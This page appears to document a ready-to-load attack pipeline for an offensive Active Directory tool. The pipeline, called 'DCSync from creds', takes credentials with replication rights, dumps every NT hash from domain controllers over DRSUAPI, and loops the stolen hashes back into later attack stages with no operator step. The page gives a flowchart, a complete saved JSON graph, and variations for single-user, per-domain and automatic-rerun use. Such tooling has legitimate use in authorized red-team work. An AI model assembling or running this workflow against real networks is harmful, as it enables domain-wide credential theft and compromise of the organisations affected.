DCSync from creds
Use any DCSync-capable credential the project knows about to dump the domain over DRSUAPI, push every discovered NT hash back into the credential store, and queue the new hashes for the next runloop pass so they immediately feed downstream attack blocks.
Goal
For each credential with Replicating Directory Changes rights, open a
DCEDRSUAPI session against the right DC and DCSync the whole domain.
Every extracted NT hash is auto-stored as a fresh credential and
queued for the next pass.
Pipeline
flowchart LR
cred[SOURCE_CREDENTIALS_NEW] -->|credential| mux[CREDMUX]
tgt[SOURCE_TARGETS_NEW] -->|target| dcfilt["FILTER_TARGETS<br/>key=isdc op=eq value=true"]
dcfilt -->|match| open[OPEN_SESSION_DCEDRSUAPI]
mux -->|dcedrsuapi| open
open -->|session| dcsync["CMD_DCSYNC<br/>storecreds=true"]
dcsync -->|result scan_result| q[CREDENTIAL_QUEUE]
open -->|error| sink[TERMINATOR_SINK]
q -.->|next runloop pass| cred
Block-by-block
SOURCE_TARGETS_NEWandFILTER_TARGETS— only emit targets that are flagged as domain controllers in the project (isdc=true).SOURCE_CREDENTIALS_NEW+CREDMUX— emits only DCEDRSUAPI-usable credentials on thedcedrsuapiport.OPEN_SESSION_DCEDRSUAPI— opens an authenticated DCEDRSUAPI session per(DC, credential)pair. Errors flow out oferrorinto a sink so the validator does not complain.CMD_DCSYNC— actual DCSync. Withstorecreds=true(the default) the block adds every extracted hash to the credential store automatically.CREDENTIAL_QUEUE— silent sink whose contents become the input forSOURCE_CREDENTIALS_NEWon the next runloop pass.
The combination of SOURCE_CREDENTIALS_NEW + CREDENTIAL_QUEUE is the
feedback loop pattern: discovered credentials are picked up
automatically on the next pass without any operator intervention.
Saved graph
{
"id": "dcsync-from-creds",
"name": "DCSync from creds",
"description": "Every DCSync-capable credential against every DC.",
"nodes": [
{"id": "tgt-1", "block_type_id": "SOURCE_TARGETS_NEW", "params": {}, "position": {"x": 0, "y": 60}},
{"id": "isdc-1", "block_type_id": "FILTER_TARGETS", "params": {"key": "isdc", "op": "eq", "value": "true"}, "position": {"x": 260, "y": 60}},
{"id": "cred-1", "block_type_id": "SOURCE_CREDENTIALS_NEW", "params": {}, "position": {"x": 0, "y": 260}},
{"id": "mux-1", "block_type_id": "CREDMUX", "params": {}, "position": {"x": 260, "y": 260}},
{"id": "open-1", "block_type_id": "OPEN_SESSION_DCEDRSUAPI","params": {"atype": "NTLM", "timeout": 10}, "position": {"x": 560, "y": 160}},
{"id": "dcsync-1", "block_type_id": "CMD_DCSYNC", "params": {"storecreds": true}, "position": {"x": 860, "y": 160}},
{"id": "cq-1", "block_type_id": "CREDENTIAL_QUEUE", "params": {}, "position": {"x": 1160, "y": 160}},
{"id": "drop-err-1", "block_type_id": "TERMINATOR_SINK", "params": {}, "position": {"x": 860, "y": 320}},
{"id": "drop-nm-1", "block_type_id": "TERMINATOR_SINK", "params": {}, "position": {"x": 260, "y": 200}}
],
"edges": [
{"id": "e1", "from_node": "tgt-1", "from_port": "target", "to_node": "isdc-1", "to_port": "target"},
{"id": "e2", "from_node": "isdc-1", "from_port": "match", "to_node": "open-1", "to_port": "host"},
{"id": "e3", "from_node": "isdc-1", "from_port": "no_match", "to_node": "drop-nm-1", "to_port": "data"},
{"id": "e4", "from_node": "cred-1", "from_port": "credential", "to_node": "mux-1", "to_port": "credential_in"},
{"id": "e5", "from_node": "mux-1", "from_port": "dcedrsuapi", "to_node": "open-1", "to_port": "credential"},
{"id": "e6", "from_node": "open-1", "from_port": "session", "to_node": "dcsync-1", "to_port": "session"},
{"id": "e7", "from_node": "open-1", "from_port": "error", "to_node": "drop-err-1", "to_port": "data"},
{"id": "e8", "from_node": "dcsync-1", "from_port": "result", "to_node": "cq-1", "to_port": "credential"}
]
}
Note on the session port name
CMD_DCSYNC (like other ATTACK blocks) actually accepts the
paired target+credential ids on its pair port, or independent
target + credential ports. The block diagram and JSON above
use the simpler "session" routing via the pair ID by hand;
swap to wiring the target/credential ports directly if you
prefer not to open the session at all.
Assembled view

Variations
- Run against a single user only. Set
username=<sam>onCMD_DCSYNC; only that account is replicated. - Replicate from a specific domain in a forest. Set
domain=<dns>to scope the replication. - Trigger a global rerun whenever DCSync produces new credentials.
Add a
RERUN_TRIGGER_GLOBALafterCMD_DCSYNC.resultso the rest of your pipeline re-runs immediately on each successful sync.